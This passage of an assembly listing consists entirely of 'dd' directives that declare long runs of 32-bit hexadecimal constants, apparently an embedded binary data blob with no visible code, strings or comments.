60007DC2h, 0EB2C6A9h, 65B1F57Eh, 18F3C1F6h, 541BB9E4h dd 687E91C0h, 11C25Bh, 3D982808h, 7F03FD3Ch, 3528C3Dh dd 1B0109B2h, 0CE31003Fh, 4D58A99Dh, 0F9002AF8h, 4A3382F2h dd 6087F3E0h, 48A46101h, 840C6625h, 0B12C413Dh, 3B82300Fh dd 44BF4349h, 0CC53A418h, 35C1AA1h, 98E2D0BAh, 83C9C3E9h dd 0B3E06F44h, 9C59C2FCh, 37612B35h, 1CD541A4h, 9F51802Ah dd 0B29112D3h, 0C7B40471h, 0C7418EE8h, 0EA0720C5h, 0E026467h dd 0A136614Dh, 3D448749h, 0DE40A86Ah, 60AD4E7Ah, 0CEB31105h dd 9200066Eh, 0FB731A4h, 0C6C3FA80h, 0B9CB5338h, 0A2009D76h dd 0DA39C4EFh, 1F9B4648h, 0C0F5834Ch, 0FD89BBA4h, 0F8777259h dd 25427900h, 243B21BEh, 0D980F526h, 9DF451E3h, 0DF480197h dd 0E098003Ch, 234B7942h, 29FE6029h, 8B55456Eh, 9ED1903Ch dd 0ABCC4103h, 0C6B108h, 71379287h, 0FFD1230Ah, 0D9FA0B7Bh dd 0F9BA4502h, 40DBB14Eh, 4948FC30h, 9603344Dh, 0D7C1D43h dd 256EA006h, 18719329h, 0E9F25308h, 0CD003F09h, 61B49F0h dd 729F4Ah, 10FCED8Ah, 0E5DC6C0Dh, 1B390567h, 0AC00902Eh dd 89CC7801h, 4F01EE8Ah, 4E71239Ch, 0A843A5D9h, 2C297325h dd 0F33CA8Eh, 66E1A045h, 0FC2C37DCh, 0D0002044h, 0A3EE7182h dd 490383B9h, 0F50CAC0Fh, 0F3A1C7A4h, 64948B52h, 0E95AC318h dd 0DA02D818h, 0E8D37F05h, 41828E20h, 0A41C8085h, 3C099BC6h dd 35A4DBB4h, 27450113h, 8AF1BAF5h, 0B809AD41h, 5B3B8880h dd 1562CCCh, 0A3BEE7AFh, 800EAD79h, 428A2121h, 0E38E70h dd 0EA60AA19h, 0B555992Ah, 1538F948h, 7B80381Ch, 8C58FD00h dd 0B9CA9612h, 0DB100369h, 1473DE7h, 9ED85101h, 0B053ABBBh dd 602930F8h, 2D86B9F0h, 0E004E80h, 0E9C9BB7Ch, 0E62571h dd 0CF7824EAh, 0BF61A1ECh, 0AD58790Ch, 0F395104h, 7CCE411Bh dd 3D7FB9C2h, 26DB0BC0h, 0AA3E21C0h, 68EA5BBh, 29CA214Fh dd 5F7019F5h, 6DE8E300h, 2237EAAAh, 0CDD701DCh, 2996ADA0h dd 0A62987FFh, 13F1112Eh, 0CB3195B1h, 1DFB4991h, 91002750h dd 0A8CE8E42h, 8D09046Ah, 0C00D8139h, 0BFAA8018h, 0A4304789h dd 0F3BD882Ah, 1107B100h, 15FC2ED5h, 770E3AD7h, 0E7178087h dd 7A0F0209h, 4A3D1881h, 29D98C0Dh, 1181FDh, 5691596Eh dd 8F3F3ADDh, 6AD3818h, 4F9229h, 6A13FB7Ch, 0F5A1829Ch dd 0D7AE8D13h, 0F9EEF830h, 31DA1C8Bh, 4DA340DCh, 331B0951h dd 0A9DC8289h, 5E80005Ch, 344BF9E8h, 48321C3Ah, 60C7D9CCh dd 8403A7D4h, 0EF48A20h, 3A5A78A0h, 860B6180h, 4801D646h dd 0EC333976h, 4EE0F919h, 618C0023h, 41123A4Fh, 0F10013E3h dd 6742F3AEh, 6437F2h, 0AA69854Dh, 5B700483h, 302EB736h dd 1D4C4460h, 0B1305D00h, 4DD8B57Dh, 183C6438h, 1ED8804Fh dd 0AB13E970h, 0A0045F8h, 0A1397A78h, 3F383062h, 0D18E7929h dd 469B1400h, 943E0DABh, 90D907EFh, 16231C17h, 0D500A999h dd 84D875C3h, 639797Bh, 0E956552Bh, 0B730218Bh, 2C95A152h dd 13F50738h, 509D44F4h, 1BE32F7Dh, 0A198B903h, 0A05357ECh dd 3222272Ah, 5A41594Eh, 7A8B7D20h, 0FB040092h, 56A194C4h dd 69C26DB6h, 0F50DC91h, 44232801h, 4018825Eh, 9167D052h dd 31809780h, 1684834Dh, 19064907h, 5779F5B5h, 0C3930041h dd 0A34133D5h, 0DA3B4CE4h, 76E87044h, 5601A40Eh, 0B06880F9h dd 79529992h, 589D61D1h, 80601669h, 77266CB1h, 0C05378A4h dd 0DCBDB059h, 5C009E04h, 518ABBFDh, 19D2176Ah, 0D0619BB8h dd 44DE085Ah, 400AF58h, 21D0FC05h, 73B020F9h, 705562B4h dd 6521351Ch, 0E9809938h, 26931F9Ah, 0F57C8D62h, 36193E67h dd 28D88950h, 0F0C279BBh, 302714B1h, 4E22A09Bh, 720CAF00h dd 3F6738D3h, 102648A9h, 0C0806B88h, 33FA8F3Dh, 54D50075h dd 0A8658CADh, 4EF2688Eh, 5CE79E14h, 0DD228084h, 14DAFB3Fh dd 0D4DB9129h, 0B79B1C80h, 60C7257Fh, 0C407CF01h, 8F08880Ah dd 1816115Ch, 0C9514DB7h, 0C1C032Bh, 0F47CEEE3h, 6EF9A80h dd 0BEE6970Bh, 8B838012h, 7EA6DE44h, 0CC520969h, 249FCBh dd 92E74095h, 3B9B09BCh, 4187EC2Dh, 0D09A7E85h, 3F940CA3h dd 0C356200Ch, 3A4319Eh, 9C80DA65h, 0C17CD252h, 20C15ECh dd 298D2353h, 272E0F2Fh, 0EFC0DC19h, 479E46D2h, 0B0CD5000h dd 0FAD0ED4Eh, 176818A2h, 4078D14Bh, 3E2651C0h, 0D2B0A9h dd 0D9B744ECh, 0C10E3898h, 8F4EBC28h, 69C02377h, 368ED6ABh dd 1486E8A7h, 0ACE0913Eh, 4075D094h, 29C1A760h, 0B7566840h dd 911ADC22h, 4C8281D3h, 0DC4340BCh, 12101EA5h, 76741969h dd 4298ED6Ah, 0D22FFAA4h, 440405Ah, 1B5F3F88h, 0F8E44119h dd 0B00448B1h, 2CC6509h, 0D14EFFEh, 59C011D7h, 0D83D04EAh dd 4B0A13EBh, 0C7F88430h, 293301E6h, 9E806C5Bh, 7A1D6069h dd 0FA9D6D00h, 63993D15h, 3F0C2475h, 515A1188h, 4ED408CCh dd 7C5EAB01h, 55E19166h, 22AF198Ah, 0B2A40078h, 0C5F88AB4h dd 0EC9B7D2Ah, 871F75E2h, 5C80B528h, 7FE89FAFh, 1FA0006Eh dd 3EE3146Bh, 3D613807h, 0A2254469h, 723FFC30h, 881A05E9h dd 40D238B4h, 0FB409A9Ch, 43262FD0h, 443E942Bh, 8004913Fh dd 0FBDBF206h, 0B471CE46h, 0E308151Ch, 0D8C09683h, 0D29AFB0Dh dd 8E94841Ah, 9D39B340h, 1B00FBEEh, 80382F72h, 367328h dd 0B0D9DCA9h, 9498DA3Bh, 1FC86560h, 14059E8Eh, 8851D491h dd 363F9A81h, 4EB7C886h, 542FA4A8h, 59D88B00h, 6EBD78C6h dd 0A69D0728h, 0C0258626h, 1D6DFF77h, 4E4C761Fh, 60ACD740h dd 0A235B8Bh, 525120B5h, 514418DAh, 71C13F78h, 0DE8E91E2h dd 3459AD4h, 8289F9A8h, 64F0500Ah, 94909099h, 7AD86045h dd 0D8912833h, 9558A120h, 3864B712h, 0BB077700h, 0ADD8F533h dd 56600A9Fh, 111492E8h, 3EEF0059h, 32B1FDAFh, 74784CC4h dd 9B131CC3h, 0D6403102h, 451D6915h, 63DF80D8h, 7E5A23D5h dd 3369D603h, 0D7357D01h, 0AB0B3B00h, 0B6AD289Ah, 961501B8h dd 523F8CE0h, 0D2033CDh, 7823FFB7h, 5823D6F1h, 18683F09h dd 0CE86180Fh, 70A31939h dd 38085CA4h, 8931803Dh, 0C5700AF9h, 13A1AD00h, 0F3B0C3CBh dd 615C8Fh, 0B2D378C0h, 0D4006A3Bh, 9C9B56F6h, 7BD230Ch dd 0F5D269B3h, 99AF40A3h, 0E09015EFh, 0A919C44h, 0B89B1EAAh dd 0D0070040h, 4AA7E81Bh, 0D991400Ch, 6038C13Eh, 0FA257164h dd 0CC03ECD6h, 23EEF207h, 92583B62h, 84A3DA83h, 33AF690Bh dd 481AE8A2h, 61F82EA4h, 0D0104D48h, 72014149h, 7B169B45h dd 103222B0h, 7877E00h, 9C5C4D2Bh, 0C4CCB300h, 0E74B6B66h dd 0A56013Dh, 1CFE4AF6h, 86A05122h, 59780152h, 97D56180h dd 1D660AC4h, 5D486DFAh, 53D21034h, 0D69C6292h, 9940DA10h dd 0E09A806Ch, 6C08EC4h, 81965138h, 13DDBAFDh, 7070B1EDh dd 15692453h, 11044A40h, 0E3BC5133h, 22F45043h, 26EC60h dd 7F6C97C7h, 381BEE9Ah, 99294360h, 0A6C8FEh, 0DCAEBA23h dd 0DB793EE2h, 98203469h, 2DE51FCh, 0BE740AADh, 0CA80679Ch dd 0E03C986Eh, 7E50EC98h, 0A20F3A44h, 211693BFh, 571568B0h dd 0C4800112h, 0AEFD729Bh, 1CB04070h, 3830987Ch, 646E4166h dd 7B517A72h, 3B5000B7h, 43F067F7h, 0DB00A2A4h, 617D805Fh dd 0BA6CE5A0h, 4F2B2B00h, 485280C8h, 7D14DF29h, 17EF0E00h dd 3B9A1D3Ch, 0F033F569h, 0C2A4CF24h, 0D3222656h, 0E19A213Dh dd 903CC805h, 4301BC98h, 0C2B09278h, 8C23655Ah, 0F49CB403h dd 3E803664h, 0FA3DCB37h, 0AC3D2C62h, 8063C539h, 80C6D81Fh dd 9821CB42h, 0BD014004h, 7A898D79h, 0A0C8DEE8h, 4E5705ECh dd 5E62A4h, 0C302E0ACh, 0CCA611CEh, 14294900h, 0B4B9D664h dd 54D7000Ah, 3FB29A37h, 3340FF79h, 44BA5C56h, 0AD01AB80h dd 0E82A4412h, 0CB22E0B0h, 1169145Bh, 0AD80D854h, 84F5D1BAh dd 0EBD4BB0Fh, 86302945h, 3051B31Ch, 60599323h, 0E800A08Fh dd 0FAD3A2DBh, 4397C5Fh, 8CD6FF7Dh, 52C8824Eh, 3F51AF20h dd 3B69F628h, 38D42E1Eh, 0C4C73AAEh, 0E70FAF03h, 0A1846AF1h dd 3A344284h, 0E21D4720h, 22A8904Bh, 18986CDDh, 47116CB9h dd 21F3C50h, 7ABDCBA9h, 618B15h, 65421740h, 138C6C7Eh dd 1411B003h, 400408E4h, 47683810h, 0AFE07907h, 7CF8C2h dd 0C402FA6Eh, 3560D97h, 0A3E914A8h, 15D3700h, 1CACA783h dd 0D2AE0E6Ch, 0E804F0EEh, 814E4936h, 97BE56F0h, 6193442Ch dd 2989B7A8h, 0CAD0570h, 94019992h, 9B4DE0DCh, 373F8441h dd 439BF01h, 0E000C4A2h, 3E6A108Dh, 0E33E11ADh, 89908D03h dd 28D33940h, 441CEC70h, 697C8037h, 5F708102h, 664DAF01h dd 0AE790054h, 59DE3603h, 6000C049h, 41A5C7C9h, 0E03F7BB7h dd 58BD011Ch, 0A3BBAF5Dh, 708C2D78h, 995BA601h, 2CAAC983h dd 0F8481C29h, 0B22748C3h, 0A8706DA0h, 11003076h, 1A714C3Ch dd 71771B56h, 0B1DC6B78h, 408FC004h, 1B4B0571h, 35D10063h dd 0E47633C0h, 6600D945h, 0BF4956Fh, 943F9923h, 8108B5C4h dd 80427868h, 57CC06A1h, 2D77E9h, 97550CAh, 8BDD7BF1h dd 34960E01h, 38696FCBh, 9988082Ch, 6EF92D80h, 5402C05Fh dd 6F388035h, 4E0D965h, 60940347h, 7E9E500h, 19C8E4AFh dd 0C9A30795h, 15282E46h, 1C8802BDh, 0A084415Dh, 0E90C8822h dd 3933F100h, 497CED44h, 0E3A2025Bh, 0B037D527h, 0DE5CF3E1h dd 424598ECh, 1111C43h, 48A48262h, 247AB007h, 23883EA8h dd 669C098h, 0DE73305Ah, 637EEB00h, 0C31C8875h, 50602443h dd 41E82448h, 0DC0E44F8h, 0AA0286DFh, 9B8880D8h, 0A19C49E8h dd 0E500C833h, 3F6069BDh, 910546A5h, 5CE6C5F3h, 7EE85009h dd 7E9F1C13h, 9B24113Eh, 3028138Ch, 0DE404530h, 0FF019CE0h dd 7CD0C307h, 78E083C6h, 0D84F488Eh, 18B55614h, 25DF9117h dd 9F448200h, 0E86C3F22h, 4B06A210h, 3EBC4022h, 211D2D27h dd 7115ED03h, 0B0DCA517h, 7B4460B2h, 11281CB6h, 0C04C7847h dd 25202BC0h, 333DB8C2h, 0EA8F820Fh, 83F3C49Ah, 6938DCh dd 79353129h, 2C56B2E5h, 0B342B700h, 3EE9DD95h, 237C189Ah dd 7FA98994h, 534DB700h, 0AD0CC6FDh, 7D190510h, 4AF7515h dd 0E2827490h, 8E250044h, 78B7DDEBh, 70A709CBh, 0C83462Fh dd 968B239Dh, 0BD59291Fh, 0AAFBDE40h, 48E534FFh, 8E22308Ah dd 95071700h, 0EC3E9287h, 9EB01DB4h, 8202417Dh, 0E5B52A76h dd 3498D5DAh, 317AD0D4h, 263F4605h, 0B8083E8Ch, 9EE8427Bh dd 6A65AB20h, 52900477h, 3A074CEh, 4F511F69h, 766C3020h dd 5E00EE90h, 43064204h, 58165D4Fh, 3968209Ah, 54DA08ECh dd 1942388Ch, 0AFE1013Ch, 0E837F741h, 682380h, 34C52D1h dd 0EA5EDC56h, 793B62B7h, 2CC10E69h, 16942360h, 8C141F0Ch dd 53D8D90Ch, 81413811h, 4DBDDD71h, 0F1EC102Ch, 0A79B2C28h dd 1010A574h, 0CE013C97h, 6BA23D66h, 0CC339847h, 9F9B6809h dd 0D86FA580h, 0E40ADF0Dh, 2065CC78h, 0AAC1049Fh, 40E7A56Ah dd 88879FFDh, 48D552A8h, 0E44BA4BCh, 69144C20h, 48685F13h dd 11B33AB0h, 0C9006637h, 88298D81h, 0EB30919Eh, 0D6EE98FCh dd 0CEBC0080h, 0F728A80Eh, 0E97DE89Fh, 0DB4A91FCh, 0B01BA420h dd 0E6F04844h, 0F00BDE19h, 7E2E1056h, 3BC00CEh, 334D1646h dd 4073B068h, 0AC583750h, 0E1771F01h, 235B84F9h, 31804038h dd 0A48FC0D5h, 0BF4E5E1Eh, 9355BD41h, 10DCE52Ah, 62170B34h dd 5090B703h, 200E4308h, 0A036784Bh, 0B0721076h, 628100E6h dd 0DE52402Dh, 0D6123A4Ch, 0F0C89B15h, 0DF3E019Fh, 0AED86D5Dh dd 307061A4h, 0D70175A8h, 850B8A3Bh, 0C634E9Bh, 40681C1Ch dd 0F757F9BAh, 0C81DB5D8h, 0A8C92108h, 9BFB8034h, 17B00639h dd 0E04A99h, 50414511h, 5860B798h, 2730F579h, 0C0AA2685h dd 0D08A146Dh, 0A863E500h, 0D2699A6Ch, 0C8A0782Eh, 889E6B08h dd 27BE5516h, 169496D9h, 0C3966DEh, 56B15EE4h, 5850C04Eh dd 20CD2784h, 0DEC50D00h, 0E07F5023h, 20665B0Eh, 0D76BA690h dd 0BE246102h, 6AACB6B8h, 2ED098E4h, 0CDCA48DBh, 6680A23Ch dd 0DE1918E0h, 0B9CE35A6h, 1C1191AAh, 60205A50h, 2F31E45h dd 3F8B0BA8h, 40DF404Bh, 1710AF9Dh, 5A22D6BEh, 68C13068h dd 92F42279h, 0FA2D3F00h, 16F972F8h, 886D2340h, 53387E38h dd 22F84C48h, 5FBF893h, 52112CEAh, 9B8420D4h, 23251CA1h dd 150CA247h, 386C2160h, 3A002891h, 12D3AF4Eh, 4CB0690Ch dd 3EEDE091h, 0A89B2E01h, 0AF47D3C4h, 25AA8099h, 0F90CCA0Ch dd 903F7308h, 10E0BADh, 4C647B27h, 0E5DCCCF3h, 0F8BC9509h dd 0BA3D8008h, 23DCF8Bh, 4417EEFEh, 60E41B99h, 0CD0050A6h dd 0D6F2D4Dh, 93C4BAh, 65D0313h, 2FC18FE1h, 7C408B13h dd 3C8A1C16h, 2D009622h, 4D2A6E2Ch, 0E0FCE847h, 0EC382CCAh dd 0D553969Ch, 0BEA43018h, 0A2D2B6Ch, 380C23CBh, 9C3140B9h dd 565744D5h, 0C89DB429h, 52C16238h, 324C64D7h, 0C3219023h dd 91F3BD80h, 0B800798Dh, 0DACE48D3h, 0B4B38AAAh, 8800A5ACh dd 0A871C610h, 9EC17D02h, 0E25CB042h, 1764E49Ch, 13EBF8B6h dd 6930C3E2h, 78A888A4h, 278458BCh, 4FC10896h, 9830D51Bh dd 8E468841h, 71289A00h, 2FDA7696h, 0E6523945h, 10043F2Fh dd 31340C9Dh, 5F7A47h, 0D8A4337Ah, 6C9F3B83h, 2838E724h dd 228C4794h, 20235A50h, 0FA6EA814h, 601E6811h, 6A38690Ch dd 4901E259h, 315F2B40h, 9EDC6345h, 238759Ah, 22F8609Fh dd 0D84164C2h, 6860C2ABh, 2813EFCFh, 14CC50FAh, 413F5F07h dd 0BE566944h, 9840439Eh dd 0C8003872h, 0A35F74Eh, 0ECA49D0h, 417175FCh, 43691205h dd 537F6850h, 9A8265B0h, 0CA810C91h, 71B57AA7h, 780EC38h dd 2F24C613h, 0C3BD0E1Ch, 7218D1C0h, 74604BA8h, 0F7FD16DCh dd 10108A79h, 0B7299ED8h, 0CF0F03DCh, 0C1E85B50h, 98090D12h dd 4D9EA0Ch, 23576370h, 7200D41Ch, 1042FF2Ah, 48C396Bh dd 1F080D0h, 3598F438h, 15FFF601h, 56785247h, 0F1CED050h dd 0B11801C3h, 85822DDCh, 2192F015h, 2CB45C38h, 0E71AA1D4h dd 144CCCA0h, 641568AFh, 0F3D0FB00h, 11B0DDBBh, 91193C61h dd 30AE3BD8h, 0C0866114h, 0F4E47845h, 0AA0038E2h, 0A211FE12h dd 0B5828C4h, 57913C5h, 0BF562C81h, 5ED6EC4Ch, 0D88205Ah dd 0B0004662h, 2BBD77C2h, 5DA62Ch, 0B99EFCD0h, 72EBE9FBh dd 0A0653F18h, 884917C8h, 0B1C74179h, 6DA066C0h, 56B40Ah dd 5DC51349h, 0E3B5AED7h, 37FE7B4Ch, 342F846h, 0F5A8E148h dd 9A5EAB10h, 0B88C354Ah, 0DF8D1223h, 320A1352h, 0CCE65870h dd 5F31F81Dh, 3C8BC0Eh, 9A907D52h, 812065D3h, 0E6791754h dd 0C9FFFC60h, 49EBB016h, 0AC220EAAh, 0C8D49126h, 0C1C39496h dd 0C0F5FA99h, 3E92CE4Ah, 0E28EEF56h, 99364D7h, 2C657560h dd 89B9AF09h, 0B70083B0h, 78B12939h, 0BABE00ECh, 0A7907CEEh dd 0CAD03500h, 8A99F61Ah, 0C6F8B57Bh, 0BF3D0802h, 0D19FCC38h dd 748D0EA0h, 37FBA780h, 0BA2C783Fh, 21E38439h, 6D7ED08Ch dd 0F2130E97h, 5E8005BEh, 0DA529A6Eh, 0F0A4449Eh, 0BD1FD960h dd 70C200F3h, 6324EA1h, 0EC9C2526h, 94FA014Bh, 39FD4D09h dd 53C22DCh, 0A5E28B59h, 1704B28h, 9C002064h, 0F7C9702Bh dd 0EC322E04h, 18C92ABh, 4043272Ah, 300262A8h, 628A591Ch dd 885CD1C4h, 14403806h, 2293CBEh, 28088887h, 1CA41B69h dd 410962D8h, 0C8158D74h, 0EC00490Ch, 38748BDBh, 40F7EB1h dd 7A79E6E4h, 80E0AC12h, 95850210h, 535F04CEh, 0A20C4D42h dd 29BB00F0h, 67C2AACDh, 1DDA0C49h, 616179ABh, 0B5BB8901h dd 9A6D0D4Ch, 47C2BC78h, 24A001A4h, 5AE1EC3h, 79970F02h dd 6AFD0BD4h, 0DA4CC018h, 72F2EB28h, 8AFF0194h, 709836CBh dd 50854106h, 7946C42h, 0E956595Ah, 3FF059E9h, 0C37C27C4h dd 55290163h, 5D58C11Ch, 63874868h, 0DA2BA03Fh, 8500E55Bh dd 78D01714h, 25D6D333h, 3C906A8Ch, 9E1FF847h, 0E0C1B8E5h dd 3E8ED8C1h, 7302F033h, 0A30E197Dh, 718C24C1h, 90282BFCh dd 36BECA6h, 2B4F278h, 48169D70h, 0BC30A46Ah, 0BCDFD7Dh dd 3335B787h, 16685C01h, 9C335Ch, 0DAE4A71Ch, 9C983F43h dd 0A1DC40BCh, 0A9E0CF5Fh, 0F602A6E8h, 0F41A556Ch, 18C0688Fh dd 0B0658860h, 10A7992Dh, 53AF44h, 0D4D2282Bh, 0B70D5621h dd 3C58DA02h, 60015940h, 70D387h, 8B203D5Ah, 47389B54h dd 0F812A27Ah, 5820D252h, 1CB0EA9Ah, 3CCF956h, 398F0726h dd 4003484Ah, 0F0D43F29h, 90492E0Dh, 91A10AADh, 4394C056h dd 3F87E140h, 9B0AAA60h, 5617014Eh, 3400C111h, 0D9D43EFAh dd 46241774h, 1F7C434Dh, 8082AA62h, 8603F046h, 45C6B4F6h dd 1F2FA77Fh, 0B72A2682h, 0F6B02051h, 7475A441h, 0BC25CB0Eh dd 0DF5860DBh, 0DC350F7h, 84C25607h, 3C942051h, 466A4484h dd 0A11B8B00h, 5D06699Dh, 484CE8B0h, 17D3BEEh, 1E1DBF50h dd 709A6CA3h, 0C18B3DA4h, 0E0D8E732h, 2EB70002h, 1C3616BEh dd 0F1E8E8B2h, 60511738h, 285560F8h, 0D8C753BDh, 0C6292700h dd 585C29Eh, 0C481E825h, 97CC0098h, 95097D1Fh, 0DD018FD5h dd 0A0732692h, 38F828FCh, 693A1748h, 0CA10136Fh, 2D260078h dd 9207EAFh, 465124ABh, 9E9DE0E8h, 2CB4BA56h, 0BF32E144h dd 0BDF1710h, 5B8B6FA8h, 8DABACB1h, 118ABAD8h, 0DCC80Ch dd 0A8AB7D25h, 42346C63h, 0FE3C7124h, 5887DE1Ch, 98FB1C9Eh dd 905C7Ch, 66C1FB47h, 3B1B910Ch, 100A5304h, 3A40221Ch dd 9539E046h, 4D5AD875h, 83A5D833h, 2FE9B0C9h, 0BB6C008Ah dd 6F159FBDh, 134A68B0h, 68C28h, 0C8792408h, 0E8017156h dd 0D9273B05h, 0BCB42387h, 443000F8h, 74A34BC6h, 0D602470Bh dd 50EABD3Dh, 824A6322h, 1D5C4881h, 0FC090725h, 0B897E9h dd 4B26B3DAh, 0E0919890h, 0DE2CD780h, 0FB4864h, 809674D8h dd 0E853D6A4h, 9B529E16h, 64A9FE0Fh, 30ADB556h, 0B068400Ah dd 575C1DA7h, 0E9C4218Ah, 9C6C208Bh, 2D9EB084h, 54817B9Bh dd 104D7821h, 0A8803E4h, 16E29572h, 0D0186BE8h, 0C1F3CA5h dd 7C007F86h, 13F071F4h, 1A5202EBh, 1169896Ch, 4E583054h dd 48EC9047h, 5C9F18C0h, 0DD9B0BD6h, 2411880Fh, 81029653h dd 0E65A1769h, 0C6BC0180h, 919AD3AEh, 2C222BE0h, 5AC85EB4h dd 0B996B873h, 1C5B7600h, 7F71159Ah, 0D0C8F97Dh, 9741708Eh dd 45703007h, 0AEC43051h, 0CF00B8EEh, 0B50F2F46h, 184D45F5h dd 48B0D1D7h, 9095AF99h, 1109A4h, 0D8BD6ECDh, 6B4DD6FFh dd 0C5069C0Fh, 9F4C4074h, 4B4147Eh, 6DE8A839h, 0C0FCA83Fh dd 0CED542Fh, 9D7500ECh, 0BFEA97B7h, 1F7DC259h, 2966CE00h dd 0E6A0346Eh, 9B090BE3h, 8CE0F3B8h, 244E6269h, 0A80A427h dd 327DF40h, 0A897F392h, 50989698h, 9501AA67h, 83DB6393h dd 0A843206Ah, 2342ECD9h, 0A0D21D69h, 9B860E12h, 0EB3ED833h dd 0CBBCEC0Bh, 0F96AC40h, 0DA93FFE7h, 11D6B0C0h, 4F60B74Eh dd 135CE31h, 7F0079Bh, 4748B908h, 70F59080h, 0E309AEEBh dd 1840AB98h, 1E57C640h, 897F5C1Ch, 0C090DF91h, 0C1886937h dd 53310077h, 0F5A59430h, 0A200D014h, 7E203867h, 1C479B87h dd 96691268h, 6F1C8845h, 888F2388h, 200022E3h, 9C86C30Eh dd 0D51F51h, 5578832h, 0D7085D45h, 0DB900F50h, 245117FFh dd 21F3D63Fh, 0DA1E5560h, 8B13F8E2h, 0B6D46CE0h, 78D0AB2Eh dd 0CA01E09Ch, 228BB43Eh, 70005069h, 0D9B6BEAh, 0CF0E9EF0h dd 635A76ADh, 0E589AEE6h, 70829895h, 444CC461h, 15E61C50h dd 0E85456EAh, 0E84DF10h, 171ABF23h, 6CD40037h, 3C12B6D8h dd 0A4583898h, 0D77413CCh, 17529400h, 9053F8DCh, 11C90F8h dd 0FFD069E1h, 0D44DC4A6h, 0D9C6A93Eh, 44E82861h, 10990140h dd 30B9FA80h, 1F83FE42h, 40DAFD36h, 814BCE15h, 4C9E37C1h dd 0C5E5258Fh, 0F0C08D32h, 2890FA5Ah, 0E05CAFDDh, 589C041Bh dd 0C20B9A67h, 40C69774h, 0FEAF5144h, 5F820938h, 0DC98F6F7h dd 76008DB8h, 0C5D9646Bh, 0FE6ADC62h, 534D1D4Ch, 0C3E3C513h dd 0B7548287h, 9940A051h, 0AC4478h, 9176503Fh, 1F895E41h dd 3923480Bh, 6DF884D0h, 0E81B6944h, 52F0A76Ch, 63B548h dd 0D787AE59h, 206268C9h, 0EE2ACE00h, 0A40AA3Ch, 70F905CFh dd 0C7FCDA09h, 0A9921674h, 0D6D63CA1h, 0BCBAAD21h, 70BDCD70h dd 20804EA1h, 87C9CD68h, 0FC6CFE00h, 0E3F64119h, 92280193h dd 790E826Fh, 361DF0F0h, 9EA45D50h, 0E8F9A888h, 6851826Ah dd 24701907h, 0FCCA0180h, 0A16705A6h, 913A60ACh, 1586BDECh dd 0AE423408h, 0D16940B4h, 67007656h, 3E48DE51h, 1293AF57h dd 0A25302F4h, 559DC0B8h, 12D6C7EAh, 2970AF4h, 9B21AF78h dd 83C35720h, 0E1920017h, 0FB459C0Ch, 3E16F4DAh, 7410E4D6h dd 2C084F98h, 3E8A449h, 232B3DE5h, 0C30049E6h, 0DEAB0A28h dd 1D103963h, 0FCCBDBCAh, 9B220F75h, 40B6E29Dh, 0F56B12D4h dd 1FF0FCD7h, 59DD27F4h, 3D590103h, 30104A6Fh, 58565774h dd 0B3F3A600h, 0A2EED4F0h dd 94ECB052h, 6C81402Ch, 0B902B5CAh, 52FB92F6h, 2D90C6D8h dd 0DC105E15h, 7416E9C5h, 0D4A4D0D2h, 10408860h, 8A0AE502h dd 0F9B36AC8h, 5D3C0040h, 287D0762h, 13871704h, 58C46EE2h dd 0E418CC09h, 43DA3028h, 0D38511E8h, 9C3370E1h, 0E040784Fh dd 7C3B868Ch, 3E910024h, 6AAA1448h, 1275FAB4h, 3A721506h dd 515CB8h, 99BEF503h, 4110E04Eh, 1AD0FB07h, 54E0145h dd 0F890F15Bh, 10E3EAA8h, 404A6AE5h, 150044E4h, 2137E5Ah dd 86B5AFh, 0D30FE045h, 11494FD0h, 1F005F78h, 504E56A8h dd 0F8EAFBBh, 0A68F9EDFh, 3E6DD2C0h, 0D776BD7Fh, 0A0224E25h dd 0FDA6CC08h, 0FAF4020Ah, 10EEE74Dh, 721D3B40h, 4AA44B17h dd 4797CE00h, 163B39DEh, 0C0DDDC91h, 600CAD54h, 6C235B07h dd 1A106B34h, 7E2951h, 5CFCBF2Bh, 0A05FA467h, 455AA300h dd 66BA6052h, 345D006Bh, 15640AD3h, 790E9A16h, 0FEDAAB4h dd 5823E635h, 7E2C0051h, 4340D983h, 5B005C70h, 1BF20771h dd 1F729D8h, 50C7387h, 0BB6B9D24h, 17F98059h, 277D314Ah dd 426F0FBEh, 0F5802BFDh, 0F20AD212h, 3DD79200h, 98B44FE7h dd 49D90684h, 795F2A4Bh, 92B260Eh, 0F4CE068Dh, 88C0030h dd 0CD9B1A88h, 8506CFB3h, 35D5480Bh, 0E09A1C79h, 67C143FCh dd 62A36042h, 0C75C911Dh, 1CDD59B0h, 3F973C9h, 0DB934483h dd 0A898671Eh, 9B0191B4h, 488C31EBh, 94106B0Ah, 6163BE5Ch dd 0C190D341h, 118C6EC5h, 0AC294776h, 0DF3AB500h, 5AA42F3h dd 9E1A3F55h, 3F51C00h, 0D2EA308Fh, 31547537h, 0EB5B86A0h dd 1577E9h, 0D1C0A85Ah, 2AB667CFh, 3888FD60h, 41E873h dd 81EAEE19h, 5DC35979h, 1E399700h, 7C783532h, 0BD9306DBh dd 111A95EAh, 3261048Dh, 108086B2h, 0C0CCA8E2h, 9D007118h dd 53548CA1h, 388043EEh, 0D6813282h, 17E21CE5h, 792990CEh dd 48456984h, 0D1AA420Eh, 88A2082Fh, 6A884803h, 0D35288E2h dd 6800E191h, 83587743h, 0D600BFEBh, 6E79460Bh, 5BDE985h dd 733FF9E0h, 5ADD8064h, 0A022F47h, 90A7B938h, 9B088053h dd 1E488EAAh, 401BC842h, 0DBFF23AFh, 3D070280h, 98964C70h dd 51C0C735h, 3BF25C5Eh, 2E807990h, 272BD0B0h, 0B2004841h dd 9450F323h, 0B551A2h, 0B4CFBE36h, 0EF02CA7Eh, 9354C2Ch dd 63566502h, 0FCB0A037h, 0E0BE584Bh, 397500C8h, 3CB61EC5h dd 655C7418h, 5B330022h, 1F42439Fh, 0BD7A060Dh, 48690CC3h dd 80AFF451h, 0B12AB48h, 0A759FEh, 1936E634h, 24F20422h dd 0E85FBD00h, 0C98AE766h, 56B00B1h, 58E55DBAh, 83007C13h dd 0A939DCF4h, 0C5B1C6Fh, 6EEC0FB2h, 91000E10h, 0D9DBC770h dd 0F72BEAh, 71457AE9h, 0AF88BFCh, 163A200h, 0D5D2650h dd 0C4EE12D8h, 0A99E007Ah, 0BA75AD24h, 2000F7E2h, 49A589ACh dd 0C4F0A0h, 13341DC6h, 5AB231D4h, 16FE6900h, 70553D8Ah dd 935D00B9h, 4EAFB777h, 0A8F04F3Bh, 80CF6E39h, 0AAFFB684h dd 0DA20E8h, 94AB0424h, 363FDC67h, 0C956D900h, 0D5D41550h dd 4469058Ch, 909666h, 0C3238994h, 0A2E64C16h, 5D6C7701h dd 27E6D4F4h, 6A6630h, 0B4DAFE57h, 